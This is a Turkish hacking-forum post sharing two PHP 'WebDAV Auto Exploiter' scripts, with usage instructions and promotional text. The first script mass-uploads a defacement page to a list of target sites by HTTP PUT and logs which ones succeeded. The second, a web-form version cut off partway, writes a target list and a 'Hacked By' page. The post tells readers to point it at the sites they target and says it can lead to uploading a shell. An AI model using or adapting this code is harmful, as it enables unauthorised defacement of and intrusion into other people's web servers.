WebDav Auto Exploiter PHP Python Code

Yazar => KingSkrupellos - Cyberizm.Org Digital Security Team

[img]https://i.hizliresim.com/JljQbE.png[/img]

Kullanımı => Xampp Yüklü Olması Gerekiyor.

Başlat + Çalıştır + cmd.exe yada Command Prompt üzerinden

php webdav_me.php list.htm file_deface.htm

Lütfen Kodları ve Siteleri Dosya İsimlerini kendinize göre yani Hedeflediğiniz Siteleri Göre Düzenleyiniz :D :cigara:

Başlık => WebDav Internet Information Services IIS PHP Python Auto Exploiter PHP Python Codes

Web-based Distributed Authoring and Versioning => WebDav'ın Açılımı

WebDaV Açıklı Siteleri Tarar ve Aynı Zamanda Shell Atmanıza Kadar Yolu Vardır.

Desteklenen Dosya Formatları => .txt .html .php

Kullanım Videosu =>

[video=youtube]https://www.youtube.com/watch?v=98SPhCj88zE[/video]

[video=youtube]https://www.youtube.com/watch?v=LXmfzEVM0mM[/video]

Ayrıca VisualBasic + C++ ile yazılmış Programı Dahi var :D

[code]https://nmap.org/nsedoc/scripts/http-webdav-scan.html[/code]

EasyWebDav Exploiter Python Kodu =>

[code]https://github.com/amnong/easywebdav[/code]

WebDav Auto Exploiter PHP Code

[hide][code]<?php
# KingSkrupellos
# Cyberizm Digital Security Team
# cyberizm.org

if(!is_file($argv[1]) || !is_file($argv[2])){
  echo "\n\nUsage: php $argv[0] list.htm file_deface.htm\n\n";
}else{
$sites = $argv[1];
$file = $argv[2];
$fp = fopen($file, "r");
$buka=fopen("$sites","r");
$filesize = filesize($file);
$size=filesize("$sites");
$baca=fread($buka,$size);
$sites = explode("<br>", $baca);
foreach($sites as $site){
if(preg_match("#http://#", $site)) {
    $site = $site;
 } else {
   $site = "http://".$site;
 }
$site = "$site/$file";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_INFILE, $fp);
curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$exec = curl_exec($ch);
echo "$site -> ";
$su = curill($site);
if(preg_match("/hacked/i", $su)) {
    echo "Created Successfully\n\n";
   file_put_contents("webdav_shell.htm", "$site<br>", FILE_APPEND);
} else {
  echo "Failed\n";
  }
}
}
function curill($site){
  $ch = curl_init ("$site");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data3 = curl_exec ($ch);
return $data3;
 }
?>[/code][/hide]

____________________________________________

WebDav Internet Information Services IIS PHP Python Auto Exploiter PHP İkinci Otomatik Exploiter Code

Webdav Exploiter Web Second Version - Cyberizm Digital Security Team

[hide][code]<?php
# KingSkrupellos
# Cyberizm.Org Digital Security Army
# web version
?>
<head><title>WebDAV Mass Exploiter</title></head>
<style>
body { font-family: Atma }
input, textarea { font-family: Atma }
th { background:black;color:#fff;padding:3px;font-family: Suez One}
</style>
<link href='http://fonts.googleapis.com/css?family=Atma' rel='stylesheet' type='text/css'/>
<link href='http://fonts.googleapis.com/css?family=Suez+One' rel='stylesheet' type='text/css'/>
<center>
<table><tr><th>WebDAV Exploiter IndoXploit</th></tr> <tr><td><form action="" method="POST">
<textarea name="isi" style="height:100px;width:500px"></textarea><br><br>
<textarea name="isi1" style="height:100px;width:500px">Hacked By KingSkrupellos Cyberizm.Org Digital Security Team</textarea><br><br>
<input type="hidden" name="site" value="list.txt">
<input type="hidden" name="file" value="x.htm">
<center><input type="submit" style="background:black;color:#fff;padding:3px;border:0" name="go" value="&lt;&lt; Execute &gt;&gt;"></center>
</form>
</td></tr></table>
<table> <tr><th>Result Deface</th></tr> <tr><td>
<div style="border:1px solid black;border-bottom:5px solid black; padding:3px;height:auto;width:500px">
<?php

if($_POST['go']){

        $nama = "x.htm";
        $isi = $_POST['isi1'];
        $fp = fopen($nama,"w");
        fputs($fp, $isi);

        $nama = "list.txt";
        $isi = $_POST['isi'];
        $fp = fopen($nama,"w");
        fputs($fp, $isi);[/code][/hide]

### Makalenin Sonuna Gelmiş Bulunmaktayız. Bilginin Tadını Çıkartın. ###

### KingSkrupellos - Cyberizm.Org Digital Security Team ####